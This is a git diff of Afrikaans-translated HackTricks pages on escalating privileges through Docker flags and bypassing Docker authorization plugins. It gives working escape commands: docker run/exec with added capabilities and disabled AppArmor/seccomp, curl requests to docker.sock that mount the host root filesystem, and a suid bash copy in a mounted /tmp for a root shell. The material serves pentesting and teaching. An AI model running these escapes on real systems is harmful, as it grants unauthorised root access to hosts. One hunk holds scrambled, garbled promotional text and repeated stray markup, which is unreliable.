* `--cap-add=ALL`
|
||||
* `--security-opt apparmor=unconfined`
|
||||
|
@ -32,41 +37,46 @@ Jy kan ook **misbruik maak van 'n berging om voorregte te verhoog** binne die ho
|
|||
* `--userns=host`
|
||||
* `--uts=host`
|
||||
* `--cgroupns=host`
|
||||
* \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Dit is soortgelyk aan die vorige metode, maar hier **berg ons die toesteldisk**. Voer dan binne die houer `mount /dev/sda1 /mnt` uit en jy kan toegang verkry tot die **gasheer-lêersisteem** in `/mnt`
|
||||
* Voer `fdisk -l` in die gasheer uit om die `</dev/sda1>`-toestel te vind om te berg
|
||||
* **`-v /tmp:/host`** -> As jy om een of ander rede net 'n sekere gids van die gasheer kan berg en jy toegang het binne die gasheer. Berg dit en skep 'n **`/bin/bash`** met **suid** in die gebergde gids sodat jy dit van die gasheer kan **uitvoer en na root kan verhoog**.
|
||||
* \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Dit is soortgelyk aan die vorige metode, maar hier **mount ons die toestel skyf**. Dan, binne die container, hardloop `mount /dev/sda1 /mnt` en jy kan die **host filesystem** in `/mnt` **toegang**.
|
||||
* Hardloop `fdisk -l` in die host om die `</dev/sda1>` toestel te vind om te mount.
|
||||
* **`-v /tmp:/host`** -> As jy om een of ander rede **net 'n gids** van die host kan **mount** en jy het toegang binne die host. Mount dit en skep 'n **`/bin/bash`** met **suid** in die gemounte gids sodat jy dit **van die host kan uitvoer en na root kan verhoog**.
|
||||
|
||||
{% hint style="info" %}
|
||||
Let daarop dat jy dalk nie die gids `/tmp` kan berg nie, maar jy kan 'n **verskillende skryfbare gids** berg. Jy kan skryfbare gidsies vind deur die volgende te gebruik: `find / -writable -type d 2>/dev/null`
|
||||
Let daarop dat jy dalk nie die gids `/tmp` kan mount nie, maar jy kan 'n **ander skryfbare gids** mount. Jy kan skryfbare gidse vind met: `find / -writable -type d 2>/dev/null`
|
||||
|
||||
**Let daarop dat nie al die gidse in 'n Linux-masjien die suid-bit sal ondersteun nie!** Om te bepaal watter gidse die suid-bit ondersteun, voer `mount | grep -v "nosuid"` uit. Byvoorbeeld, gewoonlik ondersteun `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` en `/var/lib/lxcfs` nie die suid-bit nie.
|
||||
**Let daarop dat nie al die gidse in 'n linux masjien die suid bit sal ondersteun nie!** Om te kyk watter gidse die suid bit ondersteun, hardloop `mount | grep -v "nosuid"` Byvoorbeeld, gewoonlik ondersteun `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` en `/var/lib/lxcfs` nie die suid bit nie.
|
||||
|
||||
Let ook daarop dat as jy **`/etc`** of enige ander gids **wat konfigurasie-lêers bevat** kan berg, kan jy hulle vanuit die Docker-houer as root verander om hulle in die gasheer te **misbruik en voorregte te verhoog** (dalk deur `/etc/shadow` te wysig)
|
||||
Let ook daarop dat as jy **`/etc`** of enige ander gids **wat konfigurasie lêers bevat**, kan mount, jy dit mag verander vanuit die docker container as root om dit te **misbruik in die host** en privileges te verhoog (miskien deur `/etc/shadow` te verander).
|
||||
{% endhint %}
|
||||
|
||||
### Ontsnapping uit die houer
|
||||
### Ontsnap uit die container
|
||||
|
||||
* **`--privileged`** -> Met hierdie vlag verwyder jy [alle isolasie uit die houer](docker-privileged.md#what-affects). Kyk na tegnieke om [uit bevoorregte houers as root te ontsnap](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape).
|
||||
* **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Om [voorregte te verhoog deur gebruik te maak van funksies](../linux-capabilities.md), **verleen daardie funksie aan die houer** en deaktiveer ander beskermingsmetodes wat die uitbuiting kan voorkom.
|
||||
* **`--privileged`** -> Met hierdie vlag [verwyder jy al die isolasie van die container](docker-privileged.md#what-affects). Kyk tegnieke om [uit priviligeerde containers as root te ontsnap](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape).
|
||||
* **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Om [privileges te verhoog deur capabilities te misbruik](../linux-capabilities.md), **gee daardie vermoë aan die container** en deaktiveer ander beskermingsmetodes wat die uitbuiting mag verhinder om te werk.
|
||||
|
||||
### Curl
|
||||
|
||||
Op hierdie bladsy het ons maniere bespreek om voorregte te verhoog deur gebruik te maak van Docker-vlae, jy kan maniere vind om hierdie metodes te misbruik deur die curl-opdrag op die bladsy te gebruik:
|
||||
Op hierdie bladsy het ons maniere bespreek om privileges te verhoog met behulp van docker vlae, jy kan **maniere vind om hierdie metodes met die curl** opdrag te misbruik op die bladsy:
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
{% endcontent-ref %}
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,83 +1,88 @@
|
|||
<details>
|
||||
{% hnnt styte=" acceas" %}
|
||||
GCP Ha& practice ckinH: <img:<img src="/.gitbcok/ass.ts/agte.png"talb=""odata-siz/="line">[**HackTatckt T.aining AWS Red TelmtExp"rt (ARTE)**](ta-size="line">[**HackTricks Training GCP Re)Tmkg/stc="r.giebpokal"zee>/ttdt.png"isl=""data-ize="line">\
|
||||
Learn & aciceGCP ngs<imgmsrc="/.gipbtok/aHsats/gcte.mag"y>lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"al=""daa-siz="ne">tinhackth ckiuxyzcomurspssgr/a)
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<dotsilp>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
<oummpr>SupportHackTricks</smmay>
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
*Chek th [**subsrippangithub.cm/sorsarlosp!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hahktcickr\_kivelive**](https://twitter.com/hacktr\icks\_live)**.**
|
||||
* **Shareing tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
|
||||
**Docker se** out-of-the-box **outorisasiemodel** is **alles of niks**. Enige gebruiker met toestemming om die Docker-daemon te gebruik, kan **enige** Docker-kliënt **opdrag** uitvoer. Dieselfde geld vir oproepers wat die Docker Engine API gebruik om die daemon te kontak. As jy **groter toegangsbeheer** benodig, kan jy **outorisasie-plugins** skep en dit by jou Docker-daemon-konfigurasie voeg. Met behulp van 'n outorisasie-plugin kan 'n Docker-administrator **fynkorrelige toegangspolisse** instel om toegang tot die Docker-daemon te bestuur.
|
||||
**Docker se** out-of-the-box **autorisering** model is **alles of niks**. Enige gebruiker met toestemming om toegang tot die Docker daemon te verkry, kan **enige** Docker kliënt **opdrag** **uitvoer**. Dieselfde geld vir oproepers wat Docker se Engine API gebruik om die daemon te kontak. As jy **groter toegangbeheer** benodig, kan jy **autorisering plugins** skep en dit by jou Docker daemon konfigurasie voeg. Met 'n autorisering plugin kan 'n Docker administrateur **fyn toegang** beleid konfigureer om toegang tot die Docker daemon te bestuur.
|
||||
|
||||
# Basiese argitektuur
|
||||
|
||||
Docker Auth-plugins is **eksterne plugins** wat jy kan gebruik om **aksies** wat aan die Docker Daemon gevra word, **toe te laat/weier** afhangende van die **gebruiker** wat dit gevra het en die **gevraagde aksie**.
|
||||
Docker Auth plugins is **eksterne** **plugins** wat jy kan gebruik om **toestaan/ontken** **aksies** wat aan die Docker Daemon aangevra word, **afhangende** van die **gebruiker** wat dit aangevra het en die **aksie** **aangevra**.
|
||||
|
||||
**[Die volgende inligting is van die dokumentasie](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)**
|
||||
|
||||
Wanneer 'n **HTTP-aanvraag** deur die CLI of via die Engine API na die Docker-daemon gestuur word, stuur die **outentiseringsondersteuning** die aanvraag na die geïnstalleerde **outentiseringsplugin**(s). Die aanvraag bevat die gebruiker (oproeper) en opdragkonteks. Die **plugin** is verantwoordelik vir die besluit of die aanvraag **toegelaat** of **geweier** moet word.
|
||||
Wanneer 'n **HTTP** **versoek** aan die Docker **daemon** gemaak word deur die CLI of via die Engine API, **gee** die **authentisering** **substelsel** die versoek aan die geïnstalleerde **authentisering** **plugin**(s). Die versoek bevat die gebruiker (oproeper) en opdrag konteks. Die **plugin** is verantwoordelik om te besluit of die versoek **toegestaan** of **ontken** moet word.
|
||||
|
||||
Die volgende sekansdiagramme toon 'n toelaat- en weieringsvloei vir outorisasie:
|
||||
Die volgorde diagramme hieronder toon 'n toelaat en ontken autorisering vloei:
|
||||
|
||||
![Toelaat-outorisasievloei](https://docs.docker.com/engine/extend/images/authz\_allow.png)
|
||||
![Authorization Allow flow](https://docs.docker.com/engine/extend/images/authz\_allow.png)
|
||||
|
||||
![Weieringsoutorisasievloei](https://docs.docker.com/engine/extend/images/authz\_deny.png)
|
||||
![Authorization Deny flow](https://docs.docker.com/engine/extend/images/authz\_deny.png)
|
||||
|
||||
Elke aanvraag wat na die plugin gestuur word, **bevat die geoutentiseerde gebruiker, die HTTP-koppe, en die aanvraag/antwoordliggaam**. Slegs die **gebruikersnaam** en die **outentiseringsmetode** wat gebruik is, word aan die plugin oorgedra. Belangrik is dat **geen** gebruikers **vollegetuigskrifte** of tokens oorgedra word nie. Laastens word **nie alle aanvraag/antwoordliggame** na die outorisasie-plugin gestuur nie. Slegs daardie aanvraag/antwoordliggame waar die `Content-Type` óf `text/*` óf `application/json` is, word gestuur.
|
||||
Elke versoek wat aan die plugin gestuur word, **sluit die geverifieerde gebruiker, die HTTP koptekste, en die versoek/antwoord liggaam** in. Slegs die **gebruikersnaam** en die **authentisering metode** wat gebruik is, word aan die plugin deurgegee. Die belangrikste is dat **geen** gebruikers **akkrediteer** of tokens deurgegee word nie. Laastens, **nie alle versoek/antwoord liggame word** aan die autorisering plugin gestuur nie. Slegs daardie versoek/antwoord liggame waar die `Content-Type` of `text/*` of `application/json` is, word gestuur.
|
||||
|
||||
Vir opdragte wat die HTTP-verbinding kan oorneem (`HTTP Upgrade`), soos `exec`, word die outorisasie-plugin slegs geroep vir die aanvanklike HTTP-aanvrae. Sodra die plugin die opdrag goedkeur, word outorisasie nie op die res van die vloei toegepas nie. Spesifiek word die stroomdata nie aan die outorisasie-plugins oorgedra nie. Vir opdragte wat 'n stuksgewyse HTTP-antwoord teruggee, soos `logs` en `events`, word slegs die HTTP-aanvraag na die outorisasie-plugins gestuur.
|
||||
Vir opdragte wat moontlik die HTTP verbinding kan oorneem (`HTTP Upgrade`), soos `exec`, word die autorisering plugin slegs vir die aanvanklike HTTP versoeke aangeroep. Sodra die plugin die opdrag goedkeur, word autorisering nie op die res van die vloei toegepas nie. Spesifiek, die stroomdata word nie aan die autorisering plugins deurgegee nie. Vir opdragte wat chunked HTTP antwoord teruggee, soos `logs` en `events`, word slegs die HTTP versoek aan die autorisering plugins gestuur.
|
||||
|
||||
Tydens die verwerking van aanvrae/antwoorde kan sommige outorisasievloei moontlik addisionele navrae aan die Docker-daemon doen. Om sulke vloei te voltooi, kan plugins die daemon API oproep soos 'n gewone gebruiker. Om sulke addisionele navrae moontlik te maak, moet die plugin die middels voorsien om 'n administrateur in staat te stel om behoorlike outentisering- en sekuriteitsbeleide te konfigureer.
|
||||
Tydens versoek/antwoord verwerking, mag sommige autorisering vloei addisionele navrae aan die Docker daemon benodig. Om sulke vloei te voltooi, kan plugins die daemon API aanroep soos 'n gewone gebruiker. Om hierdie addisionele navrae moontlik te maak, moet die plugin die middele verskaf vir 'n administrateur om behoorlike authentisering en sekuriteitsbeleide te konfigureer.
|
||||
|
||||
## Verskeie Plugins
|
||||
|
||||
Jy is verantwoordelik vir die **registreer** van jou **plugin** as deel van die Docker-daemon se **beginproses**. Jy kan **verskeie plugins installeer en aanmekaar koppel**. Hierdie ketting kan georden word. Elke aanvraag aan die daemon gaan in volgorde deur die ketting. Slegs as **alle plugins toegang verleen** tot die hulpbron, word die toegang verleen.
|
||||
Jy is verantwoordelik vir **registrasie** van jou **plugin** as deel van die Docker daemon **opstart**. Jy kan **meerdere plugins installeer en dit saamketting**. Hierdie ketting kan georden word. Elke versoek aan die daemon gaan in volgorde deur die ketting. Slegs wanneer **alle plugins toegang verleen** tot die hulpbron, word die toegang verleen.
|
||||
|
||||
# Plugin-voorbeelde
|
||||
# Plugin Voorbeelde
|
||||
|
||||
## Twistlock AuthZ Broker
|
||||
|
||||
Die plugin [**authz**](https://github.com/twistlock/authz) stel jou in staat om 'n eenvoudige **JSON**-lêer te skep wat die **plugin** sal **lees** om die aanvrae te outoriseer. Dit gee jou dus die geleentheid om baie maklik te beheer watter API-eindpunte elke gebruiker kan bereik.
|
||||
Die plugin [**authz**](https://github.com/twistlock/authz) laat jou toe om 'n eenvoudige **JSON** lêer te skep wat die **plugin** sal **lees** om die versoeke te autoriseer. Daarom gee dit jou die geleentheid om baie maklik te beheer watter API eindpunte elke gebruiker kan bereik.
|
||||
|
||||
Hier is 'n voorbeeld wat Alice en Bob in staat stel om nuwe houers te skep: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
|
||||
Dit is 'n voorbeeld wat sal toelaat dat Alice en Bob nuwe houers kan skep: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
|
||||
|
||||
Op die bladsy [route\_parser.go](https://github.com/twistlock/authz/blob/master/core/route\_parser.go) kan jy die verband tussen die gevraagde URL en die aksie vind. Op die bladsy [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) kan jy die verband tussen die aksienaam en die aksie vind.
|
||||
In die bladsy [route\_parser.go](https://github.com/twistlock/authz/blob/master/core/route\_parser.go) kan jy die verhouding tussen die aangevraagde URL en die aksie vind. In die bladsy [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) kan jy die verhouding tussen die aksienaam en die aksie vind.
|
||||
|
||||
## Eenvoudige Plugin-tutoriaal
|
||||
## Eenvoudige Plugin Handleiding
|
||||
|
||||
Jy kan 'n **maklik verstaanbare plugin** met gedetailleerde inligting oor installasie en foutopsporing hier vind: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)
|
||||
|
||||
Lees die `README` en die `plugin.go`-kode om te verstaan hoe dit werk.
|
||||
Lees die `README` en die `plugin.go` kode om te verstaan hoe dit werk.
|
||||
|
||||
# Docker Auth Plugin-omseiling
|
||||
# Docker Auth Plugin Bypass
|
||||
|
||||
## Toegang opspoor
|
||||
## Enumereer toegang
|
||||
|
||||
Die belangrikste dinge om te ondersoek is **watter eindpunte toegelaat word** en **watter waardes van HostConfig toegelaat word**.
|
||||
Die hoofsake om te kontroleer is die **watter eindpunte toegelaat word** en **watter waardes van HostConfig toegelaat word**.
|
||||
|
||||
Om hierdie opsporing uit te voer, kan jy die instrument [**https://github.com/carlospolop/docker\_auth\_profiler**](https://github.com/carlospolop/docker\_auth\_profiler) **gebruik**.
|
||||
Om hierdie enumerasie uit te voer, kan jy **die hulpmiddel** [**https://github.com/carlospolop/docker\_auth\_profiler**](https://github.com/carlospolop/docker\_auth\_profiler)**.**
|
||||
|
||||
## Verbode `run --privileged`
|
||||
## verbode `run --privileged`
|
||||
|
||||
### Minimumvoorregte
|
||||
### Minimum Privileges
|
||||
```bash
|
||||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
|
||||
```
|
||||
### Uitvoer van 'n houer en dan 'n bevoorregte sessie kry
|
||||
### Running a container and then getting a privileged session
|
||||
|
||||
In hierdie geval het die stelseladministrateur gebruikers verhinder om volumes te monteer en houers met die `--privileged` vlag uit te voer, of enige ekstra vermoë aan die houer te gee:
|
||||
In this case the sysadmin **het gebruikers verbied om volumes te monteer en houers met die `--privileged` vlag te draai** of enige ekstra vermoë aan die houer te gee:
|
||||
```bash
|
||||
docker run -d --privileged modified-ubuntu
|
||||
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
|
||||
See 'docker run --help'.
|
||||
```
|
||||
Een gebruiker kan egter **'n skulp binne die lopende houer skep en dit die ekstra voorregte gee**:
|
||||
However, a user can **create a shell inside the running container and give it the extra privileges**:
|
||||
```bash
|
||||
docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
|
||||
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de
|
||||
|
@ -89,11 +94,11 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be
|
|||
# With --cap-add=SYS_ADMIN
|
||||
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
|
||||
```
|
||||
Nou kan die gebruiker ontsnap uit die houer deur enige van die [voorheen bespreekte tegnieke](./#privileged-flag) te gebruik en voorregte binne die gasheer te verhoog.
|
||||
Nou kan die gebruiker uit die houer ontsnap deur enige van die [**voorheen bespreekte tegnieke**](./#privileged-flag) te gebruik en **privileges te verhoog** binne die gasheer.
|
||||
|
||||
## Monteer Skryfbare Vouer
|
||||
## Monteer Skryfbare Gids
|
||||
|
||||
In hierdie geval het die stelseladministrateur gebruikers verhoed om houers met die `--privileged` vlag te hardloop of enige ekstra vermoë aan die houer te gee, en hy het slegs toegelaat om die `/tmp` vouer te monteer:
|
||||
In hierdie geval het die stelselaanvaarder **gebruikers verbied om houers met die `--privileged` vlag te laat loop** of enige ekstra vermoë aan die houer te gee, en hy het slegs toegelaat om die `/tmp` gids te monteer:
|
||||
```bash
|
||||
host> cp /bin/bash /tmp #Cerate a copy of bash
|
||||
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
|
||||
|
@ -103,25 +108,25 @@ host> /tmp/bash
|
|||
-p #This will give you a shell as root
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Let daarop dat jy dalk nie die `/tmp`-vouer kan koppel nie, maar jy kan 'n **ander skryfbare vouer** koppel. Jy kan skryfbare gidslys vind deur die volgende te gebruik: `find / -writable -type d 2>/dev/null`
|
||||
Let daarop dat jy dalk nie die gids `/tmp` kan monteer nie, maar jy kan 'n **ander skryfbare gids** monteer. Jy kan skryfbare gidse vind met: `find / -writable -type d 2>/dev/null`
|
||||
|
||||
**Let daarop dat nie alle gidslysies in 'n Linux-masjien die suid-bit sal ondersteun nie!** Om te bepaal watter gidslysies die suid-bit ondersteun, voer jy `mount | grep -v "nosuid"` uit. Byvoorbeeld, gewoonlik ondersteun `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` en `/var/lib/lxcfs` nie die suid-bit nie.
|
||||
**Let daarop dat nie al die gidse in 'n linux masjien die suid bit sal ondersteun nie!** Om te kyk watter gidse die suid bit ondersteun, voer `mount | grep -v "nosuid"` uit. Byvoorbeeld, gewoonlik ondersteun `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` en `/var/lib/lxcfs` nie die suid bit nie.
|
||||
|
||||
Let ook daarop dat as jy `/etc` of enige ander vouer **wat konfigurasie-lêers bevat** kan koppel, jy dit as root vanuit die Docker-houer kan wysig om **privileges te verhoog** (dalk deur `/etc/shadow` te wysig).
|
||||
Let ook daarop dat as jy **`/etc`** of enige ander gids **wat konfigurasie lêers bevat**, kan **monteer**, jy dit as root vanuit die docker houer kan verander om dit te **misbruik in die gasheer** en voorregte te verhoog (miskien deur `/etc/shadow` te wysig).
|
||||
{% endhint %}
|
||||
|
||||
## Ongekontroleerde API-eindpunt
|
||||
## Onbeheerde API Eindpunt
|
||||
|
||||
Die verantwoordelikheid van die stelseladministrateur wat hierdie invoegtoepassing konfigureer, sou wees om te beheer watter aksies en met watter bevoegdhede elke gebruiker kan uitvoer. Daarom, as die administrateur 'n **swartlys**-benadering volg met die eindpunte en die eienskappe, kan hy dalk sommige daarvan **vergeet** wat 'n aanvaller in staat sou stel om **privileges te verhoog**.
|
||||
Die verantwoordelikheid van die sysadmin wat hierdie plugin konfigureer, sal wees om te beheer watter aksies en met watter voorregte elke gebruiker kan uitvoer. Daarom, as die admin 'n **swartlys** benadering met die eindpunte en die eienskappe neem, mag hy dalk **van sommige daarvan vergeet** wat 'n aanvaller kan toelaat om **voorregte te verhoog.**
|
||||
|
||||
Jy kan die Docker API nagaan by [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#)
|
||||
Jy kan die docker API nagaan in [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#)
|
||||
|
||||
## Ongekontroleerde JSON-Struktuur
|
||||
## Onbeheerde JSON Struktuur
|
||||
|
||||
### Bind in die wortel
|
||||
### Bindings in root
|
||||
|
||||
Dit is moontlik dat die stelseladministrateur, toe hy die Docker-firewall gekonfigureer het, 'n belangrike parameter van die [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) soos "**Binds**" **vergeet** het.\
|
||||
In die volgende voorbeeld is dit moontlik om van hierdie konfigurasiefout gebruik te maak om 'n houer te skep en uit te voer wat die wortel (/) vouer van die gasheer koppel:
|
||||
Dit is moontlik dat toe die sysadmin die docker vuurmuur gekonfigureer het, hy **van 'n belangrike parameter** van die [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) soos "**Bindings**" **vergeet het**.\
|
||||
In die volgende voorbeeld is dit moontlik om hierdie miskonfigurasie te misbruik om 'n houer te skep en te laat loop wat die root (/) gids van die gasheer monteer:
|
||||
```bash
|
||||
docker version #First, find the API version of docker, 1.40 in this example
|
||||
docker images #List the images available
|
||||
|
@ -132,30 +137,30 @@ docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
|
|||
#You can access the host filesystem
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Let daarop hoe ons in hierdie voorbeeld die **`Binds`** param gebruik as 'n sleutel op die hoofvlak in die JSON, maar in die API verskyn dit onder die sleutel **`HostConfig`**
|
||||
Let op hoe ons in hierdie voorbeeld die **`Binds`** parameter as 'n wortelvlak sleutel in die JSON gebruik, maar in die API verskyn dit onder die sleutel **`HostConfig`**
|
||||
{% endhint %}
|
||||
|
||||
### Binds in HostConfig
|
||||
|
||||
Volg dieselfde instruksies soos met **Binds in root** deur hierdie **versoek** na die Docker API te doen:
|
||||
Volg dieselfde instruksies as met **Binds in root** deur hierdie **aanvraag** aan die Docker API te doen:
|
||||
```bash
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create
|
||||
```
|
||||
### Monteerings in die wortel
|
||||
### Mounts in root
|
||||
|
||||
Volg dieselfde instruksies soos met **Bind in die wortel** deur hierdie **versoek** na die Docker API uit te voer:
|
||||
Volg dieselfde instruksies as met **Binds in root** deur hierdie **versoek** aan die Docker API te doen:
|
||||
```bash
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create
|
||||
```
|
||||
### Monteer in HostConfig
|
||||
### Mounts in HostConfig
|
||||
|
||||
Volg dieselfde instruksies soos met **Binds in root** deur hierdie **versoek** na die Docker API te doen:
|
||||
Volg dieselfde instruksies as met **Binds in root** deur hierdie **versoek** aan die Docker API te doen:
|
||||
```bash
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre
|
||||
```
|
||||
## Ongekontroleerde JSON-attribuut
|
||||
## Ongeëvalueerde JSON Attribuut
|
||||
|
||||
Dit is moontlik dat toe die stelseladministrateur die docker-firewall gekonfigureer het, hy **vergeet het van 'n belangrike attribuut van 'n parameter** van die [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) soos "**Capabilities**" binne "**HostConfig**". In die volgende voorbeeld is dit moontlik om van hierdie verkeerde konfigurasie misbruik te maak om 'n houer met die **SYS\_MODULE**-vermoë te skep en uit te voer:
|
||||
Dit is moontlik dat toe die stelselaanpasser die docker-vuurmuur gekonfigureer het, hy **vergeet het van 'n belangrike attribuut van 'n parameter** van die [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) soos "**Capabilities**" binne "**HostConfig**". In die volgende voorbeeld is dit moontlik om hierdie miskonfigurasie te misbruik om 'n houer met die **SYS\_MODULE** vermoë te skep en te laat loop:
|
||||
```bash
|
||||
docker version
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
|
||||
|
@ -166,12 +171,12 @@ capsh --print
|
|||
#You can abuse the SYS_MODULE capability
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Die **`HostConfig`** is die sleutel wat gewoonlik die **interessante** **voorregte** bevat om uit die houer te ontsnap. Let egter daarop dat die gebruik van Binds buite dit ook werk en jou mag toelaat om beperkings te omseil.
|
||||
Die **`HostConfig`** is die sleutel wat gewoonlik die **interessante** **privileges** bevat om uit die houer te ontsnap. Dit is egter belangrik om te noem, soos ons voorheen bespreek het, dat die gebruik van Binds buite dit ook werk en jou mag toelaat om beperkings te omseil.
|
||||
{% endhint %}
|
||||
|
||||
## Plugin Deaktivering
|
||||
## Deaktiveer Plugin
|
||||
